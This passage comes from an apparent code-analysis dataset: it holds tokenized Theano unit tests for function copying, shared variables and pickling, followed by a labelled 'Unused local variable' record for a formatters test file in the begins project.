"\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "f_", "=_", "function_", "(_", "[_", "In_", "(_", "a_", ",_", "name_", "=_", "set_", "(_", "[_", "'", "ads", "f", "'_", ",_", "(_", ")_", "]_", ")_", ",_", "value_", "=_", "1.0_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "In_", "(_", "x_", ",_", "name_", "=_", "(_", ")_", ",_", "value_", "=_", "2.0_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "In_", "(_", "s_", ",_", "name_", "=_", "T_", "._", "scalar_", "(_", ")_", ",_", "value_", "=_", "3.0_", ")_", "]_", ",_", "a_", "+_", "x_", "+_", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "check", "for_", "(_", "self_", ",_", "t_", ",_", "Type", "Error_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "T", "\\u", "function_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "copy", "\\u", "share", "\\u", "memory_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "x_", "=_", "T_", "._", "fsc", "ala", "r_", "(_", "'", "x", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Share", "d", "Varia", "ble", " ", "for", " ", "tests", ",", " ", "one", " ", "of", " ", "them", " ", "has", " ", "update_", "\\u\\u\\uNL\\u\\u\\u_", "y_", "=_", "theano_", "._", "shared_", "(_", "value_", "=_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "z_", "=_", "theano_", "._", "shared_", "(_", "value_", "=_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "out_", "=_", "T_", "._", "tanh_", "(_", "(_", "x_", "+_", "y_", "+_", "2_", ")_", "/_", "(_", "x_", "+_", "z_", "-_", "0.2_", ")_", "**_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Test", " ", "for", " ", "different", " ", "linker", "s_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "mode_", "in_", "[_", "\"", "FAST", "\\u", "RUN", "\"_", ",_", "\"", "FAST", "\\u", "COMPIL", "E", "\"_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ori_", "=_", "theano_", "._", "function_", "(_", "[_", "x_", "]_", ",_", "[_", "out_", "]_", ",_", "mode_", "=_", "mode_", ",_", "updates_", "=_", "{_", "z_", ":_", "z_", "+_", "1_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cpy", "_", "=_", "ori_", "._", "copy_", "(_", "share", "\\u", "memory_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Test", " ", "if", " ", "memori", "es", " ", "shared_", "\\u\\u\\uNL\\u\\u\\u_", "storage", "\\u", "map", "\\u", "ori_", "=_", "ori_", "._", "fn_", "._", "storage", "\\u", "map_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "storage", "\\u", "map", "\\u", "cpy", "_", "=_", "cpy", "_", "._", "fn_", "._", "storage", "\\u", "map_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fg", "raph", "\\u", "ori_", "=_", "ori_", "._", "maker_", "._", "fg", "raph_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fg", "raph", "\\u", "cpy", "_", "=_", "cpy", "_", "._", "maker_", "._", "fg", "raph_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Assert", " ", "intermediate", " ", "and", " ", "Const", "ant", "s", " ", "storage", "s", " ", "are", " ", "shared", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "and", " ", "output", " ", "sto", "arge", "s", " ", "are", " ", "not", " ", "shared_", "\\u\\u\\uNL\\u\\u\\u_", "i", "\\u", "o", "\\u", "variables_", "=_", "fg", "raph", "\\u", "cpy", "_", "._", "inputs_", "+_", "fg", "raph", "\\u", "cpy", "_", "._", "outputs_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ori", "\\u", "storage", "s_", "=_", "storage", "\\u", "map", "\\u", "ori_", "._", "values_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "key_", "in_", "storage", "\\u", "map", "\\u", "cpy", "_", "._", "keys_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "storage_", "=_", "storage", "\\u", "map", "\\u", "cpy", "_", "[_", "key_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "key_", "not_", "in_", "i", "\\u", "o", "\\u", "variables_", "or_", "isinstance_", "(_", "key_", ",_", "theano_", "._", "tensor_", "._", "Constant_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "self_", "._", "assert", "True_", "(_", "any_", "(_", "[_", "storage_", "is_", "s_", "for_", "s_", "in_", "ori", "\\u", "storage", "s_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Assert", " ", "storage", "s", " ", "of", " ", "Share", "d", "Varia", "ble", " ", "with", "out", " ", "update", "s", " ", "are", " ", "shared_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "(_", "input_", ",_", "\\u", "1_", ",_", "\\u", "2_", ")_", ",_", "here_", ",_", "there", "_", "in_", "zip_", "(_", "ori_", "._", "indices_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "ori_", "._", "input", "\\u", "storage_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "cpy", "_", "._", "input", "\\u", "storage_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "True_", "(_", "here_", "._", "data_", "is_", "there", "_", "._", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "T", "\\u", "function_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "swap", "\\u", "Share", "d", "Var", "ail", "e\\u", "with", "\\u", "given_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "A", " ", "special", " ", "testc", "ase", " ", "for", " ", "logistic", "\\u", "sgd", ".", "py", " ", "in", " ", "De", "ep", " ", "Learn", "ing", " ", "Tu", "tori", "al", "\\", "10", ";", " ", " ", " ", " ", "Thi", "s", " ", "test", " ", "assert", " ", "tha", "t", " ", "Share", "d", "Varia", "ble", " ", "in", " ", "different", " ", "function", " ", "have", " ", "same", " ", "storage", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "train", "\\u", "x_", "=_", "theano_", "._", "shared_", "(_", "value_", "=_", "numpy_", "._", "random_", "._", "rand_", "(_", "10_", ",_", "10_", ")_", "._", "astype_", "(_", "config_", "._", "float", "X_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "test\\u", "x_", "=_", "theano_", "._", "shared_", "(_", "value_", "=_", "numpy_", "._", "random_", "._", "rand_", "(_", "10_", ",_", "10_", ")_", "._", "astype_", "(_", "config_", "._", "float", "X_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "train", "\\u", "y_", "=_", "theano_", "._", "shared_", "(_", "value_", "=_", "numpy_", "._", "random_", "._", "rand_", "(_", "10_", ",_", "1_", ")_", "._", "astype_", "(_", "config_", "._", "float", "X_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "test\\u", "y_", "=_", "theano_", "._", "shared_", "(_", "value_", "=_", "numpy_", "._", "random_", "._", "rand_", "(_", "10_", ",_", "1_", ")_", "._", "astype_", "(_", "config_", "._", "float", "X_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "i_", "=_", "T_", "._", "isc", "ala", "r_", "(_", "'", "index", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "x_", "=_", "T_", "._", "vector_", "(_", "'", "x", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "y_", "=_", "T_", "._", "vector_", "(_", "'", "y", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "this", " ", "formula", "r", " ", "has", " ", "no", " ", "sense", " ", "but", " ", "for", " ", "a", " ", "test_", "\\u\\u\\uNL\\u\\u\\u_", "out_", "=_", "(_", "T_", "._", "sum_", "(_", "x_", ")_", "-_", "y_", ")_", "**_", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "train_", "=_", "theano_", "._", "function_", "(_", "[_", "i_", "]_", ",_", "out_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "give", "ns_", "=_", "{_", "x_", ":_", "train", "\\u", "x_", "[_", "i_", "]_", ",_", "y_", ":_", "train", "\\u", "y_", "[_", "i_", "]_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "updates_", "=_", "{_", "train", "\\u", "x_", ":_", "train", "\\u", "x_", "+_", "0.1_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "test\\u", "def_", "=_", "theano_", "._", "function_", "(_", "[_", "i_", "]_", ",_", "out_", ",_", "give", "ns_", "=_", "{_", "x_", ":_", "test\\u", "x_", "[_", "i_", "]_", ",_", "y_", ":_", "test\\u", "y_", "[_", "i_", "]_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "test\\u", "cpy", "_", "=_", "train_", "._", "copy_", "(_", "swap_", "=_", "{_", "train", "\\u", "x_", ":_", "test\\u", "x_", ",_", "train", "\\u", "y_", ":_", "test\\u", "y_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "delete", "\\u", "updates_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "in1", "_", ",_", "in", "2_", "in_", "zip_", "(_", "test\\u", "def_", "._", "maker_", "._", "inputs_", ",_", "test\\u", "def_", "._", "maker_", "._", "inputs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "assert_", "in1", "_", "._", "value_", "is_", "in", "2_", "._", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "T", "\\u", "function_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "copy", "\\u", "delete", "\\u", "updates_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "x_", "=_", "T_", "._", "fsc", "ala", "r_", "(_", "'", "x", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Share", "d", "Varia", "ble", " ", "for", " ", "tests", ",", " ", "one", " ", "of", " ", "them", " ", "has", " ", "update_", "\\u\\u\\uNL\\u\\u\\u_", "y_", "=_", "theano_", "._", "shared_", "(_", "value_", "=_", "1_", ",_", "name_", "=_", "'", "y", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "z_", "=_", "theano_", "._", "shared_", "(_", "value_", "=_", "2_", ",_", "name_", "=_", "'", "z", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "out_", "=_", "x_", "+_", "y_", "+_", "z_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Test", " ", "for", " ", "different", " ", "linker", "s_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "for", " ", "mode", " ", "in", " ", "[\"", "FAST", "\\u", "RUN", "\",\"", "FAST", "\\u", "COMPIL", "E", "\"]", ":_", "\\u\\u\\uNL\\u\\u\\u_", "second", "\\u", "time_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "mode_", "in_", "[_", "\"", "FAST", "\\u", "RUN", "\"_", ",_", "\"", "FAST", "\\u", "COMPIL", "E", "\"_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ori_", "=_", "theano_", "._", "function_", "(_", "[_", "x_", "]_", ",_", "out_", ",_", "mode_", "=_", "mode_", ",_", "updates_", "=_", "{_", "z_", ":_", "z_", "*_", "2_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cpy", "_", "=_", "ori_", "._", "copy_", "(_", "delete", "\\u", "updates_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "assert_", "cpy", "_", "(_", "1_", ")_", "[_", "0_", "]_", "==_", "4_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "cpy", "_", "(_", "1_", ")_", "[_", "0_", "]_", "==_", "4_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "cpy", "_", "(_", "1_", ")_", "[_", "0_", "]_", "==_", "4_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "T", "\\u", "function_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "disconnected", "\\u", "input_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "a_", "=_", "T_", "._", "scalar_", "(_", "'", "a", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "v_", "=_", "T_", "._", "vector_", "(_", "'", "v", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Un", "used", "Inp", "ut", "Error_", ",_", "function_", ",_", "[_", "a_", ",_", "v_", "]_", ",_", "v_", "*_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "=_", "function_", "(_", "[_", "a_", ",_", "v_", "]_", ",_", "v_", "*_", "2_", ",_", "on", "\\u", "unu", "sed", "\\u", "input_", "=_", "'", "ignore", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "T", "\\u", "function_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "mask", "ed", "\\u", "input_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "m_", "=_", "T_", "._", "matrix_", "(_", "'", "m", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mt_", "=_", "m_", "._", "T_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mt_", "._", "name_", "=_", "'", "m", ".", "T", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Un", "used", "Inp", "ut", "Error_", ",_", "function_", ",_", "[_", "m_", ",_", "mt_", "]_", ",_", "mt_", "*_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "=_", "function_", "(_", "[_", "m_", ",_", "mt_", "]_", ",_", "mt_", "*_", "2_", ",_", "on", "\\u", "unu", "sed", "\\u", "input_", "=_", "'", "ignore", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "T", "\\u", "pickle", "function_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "broken", "\\u", "pickle", "\\u", "with", "\\u", "shared_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "save", "s_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "pers", "\\u", "save_", "(_", "obj_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "isinstance_", "(_", "obj_", ",_", "numpy_", "._", "ndarray_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "save", "s_", "._", "append_", "(_", "obj_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "len_", "(_", "save", "s_", ")_", "-_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "pers", "\\u", "load_", "(_", "id_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "save", "s_", "[_", "id_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "a_", "=_", "numpy_", "._", "random_", "._", "rand_", "(_", "4_", ",_", "5_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "b_", "=_", "numpy_", "._", "random_", "._", "rand_", "(_", "5_", ",_", "4_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "x_", "=_", "theano_", "._", "tensor_", "._", "matrix_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "y_", "=_", "theano_", "._", "shared_", "(_", "b_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "f_", "=_", "theano_", "._", "function_", "(_", "[_", "x_", "]_", ",_", "theano_", "._", "tensor_", "._", "dot_", "(_", "x_", ",_", "y_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "theano_", "._", "compat_", "import_", "Byte", "s", "IO_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fp_", "=_", "Byte", "s", "IO_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "p_", "=_", "pickle_", "._", "Pickl", "er_", "(_", "fp_", ",_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "p_", "._", "persiste", "nt", "\\u", "id_", "=_", "pers", "\\u", "save_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "p_", "._", "dump_", "(_", "f_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Not", "Impl", "ement", "ed", "Error_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "exc", "\\u", "message_", "(_", "e_", ")_", "._", "startswith_", "(_", "'", "Deb", "ug", "Mode", " ", "is", " ", "not", " ", "pick", "lable", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "fp", "2_", "=_", "Byte", "s", "IO_", "(_", "fp_", "._", "getvalue_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fp_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "p_", "=_", "pickle_", "._", "Unp", "ickle", "r_", "(_", "fp", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "p_", "._", "persiste", "nt", "\\u", "load_", "=_", "pers", "\\u", "load_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f2_", "=_", "p_", "._", "load_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fp", "2_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
aliles/begins/tests/test_formatters.py
[ { "content": " def test_zero_mixins(self):\n formatter_class = formatters.compose()", "metadata": "root.TestCompose.test_zero_mixins", "header": "['class', 'TestCompose', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 25 }, { "content": " def test_all_mixins(self):\n formatter_class = formatters.compose(\n formatters.RawArguments,\n formatters.RawDescription,\n formatters.ArgumentDefaults,\n formatters.RemoveSubcommandsLine)", "metadata": "root.TestCompose.test_all_mixins", "header": "['class', 'TestCompose', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 28 }, { "content": " def test_raw_argument(self):\n formatter_class = formatters.compose(formatters.RawArguments)\n parser = self.make_parser(formatter_class)\n clihelp = parser.format_help()", "metadata": "root.TestCompose.test_raw_argument", "header": "['class', 'TestCompose', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 45 }, { "content": " def test_raw_description(self):\n formatter_class = formatters.compose(formatters.RawDescription)\n parser = self.make_parser(formatter_class)\n clihelp = parser.format_help()", "metadata": "root.TestCompose.test_raw_description", "header": "['class', 'TestCompose', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 50 }, { "content": " def test_argument_defaults(self):\n formatter_class = formatters.compose(formatters.ArgumentDefaults)\n parser = self.make_parser(formatter_class)\n clihelp = parser.format_help()", "metadata": "root.TestCompose.test_argument_defaults", "header": "['class', 'TestCompose', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 55 }, { "content": " def test_remove_subcommands_line(self):\n formatter_class = formatters.compose(formatters.RemoveSubcommandsLine)\n parser = self.make_parser(formatter_class)\n clihelp = parser.format_help()", "metadata": "root.TestCompose.test_remove_subcommands_line", "header": "['class', 'TestCompose', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 60 } ]
[ { "span": "formatter_class ", "start_line": 26, "start_column": 8, "end_line": 26, "end_column": 23 }, { "span": "formatter_class ", "start_line": 29, "start_column": 8, "end_line": 29, "end_column": 23 }, { "span": "clihelp ", "start_line": 48, "start_column": 8, "end_line": 48, "end_column": 15 }, { "span": "clihelp ", "start_line": 53, "start_column": 8, "end_line": 53, "end_column": 15 }, { "span": "clihelp ", "start_line": 58, "start_column": 8, "end_line": 58, "end_column": 15 }, { "span": "clihelp ", "start_line": 63, "start_column": 8, "end_line": 63, "end_column": 15 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "class_", "Test", "Compose", "_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "zero", "\\u", "mixins_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "formatter", "\\u", "class_", "=_", "formatters_", "._", "compose_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Compose", "_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "all", "\\u", "mixins_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "formatter", "\\u", "class_", "=_", "formatters_", "._", "compose_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "formatters_", "._", "Ra", "w", "Arguments_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "formatters_", "._", "Ra", "w", "Description_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "formatters_", "._", "Arg", "ument", "Defaults_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "formatters_", "._", "Remove", "Subc", "ommand", "s", "Line_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Compose", "_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "raw", "\\u", "argument_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "formatter", "\\u", "class_", "=_", "formatters_", "._", "compose_", "(_", "formatters_", "._", "Ra", "w", "Arguments_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parser_", "=_", "self_", "._", "make", "\\u", "parser_", "(_", "formatter", "\\u", "class_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cli", "help_", "=_", "parser_", "._", "format\\u", "help_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Compose", "_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "raw", "\\u", "description_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "formatter", "\\u", "class_", "=_", "formatters_", "._", "compose_", "(_", "formatters_", "._", "Ra", "w", "Description_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parser_", "=_", "self_", "._", "make", "\\u", "parser_", "(_", "formatter", "\\u", "class_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cli", "help_", "=_", "parser_", "._", "format\\u", "help_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Compose", "_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "argu", "ment", "\\u", "defaults_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "formatter", "\\u", "class_", "=_", "formatters_", "._", "compose_", "(_", "formatters_", "._", "Arg", "ument", "Defaults_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parser_", "=_", "self_", "._", "make", "\\u", "parser_", "(_", "formatter", "\\u", "class_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cli", "help_", "=_", "parser_", "._", "format\\u", "help_", "(_", ")_", 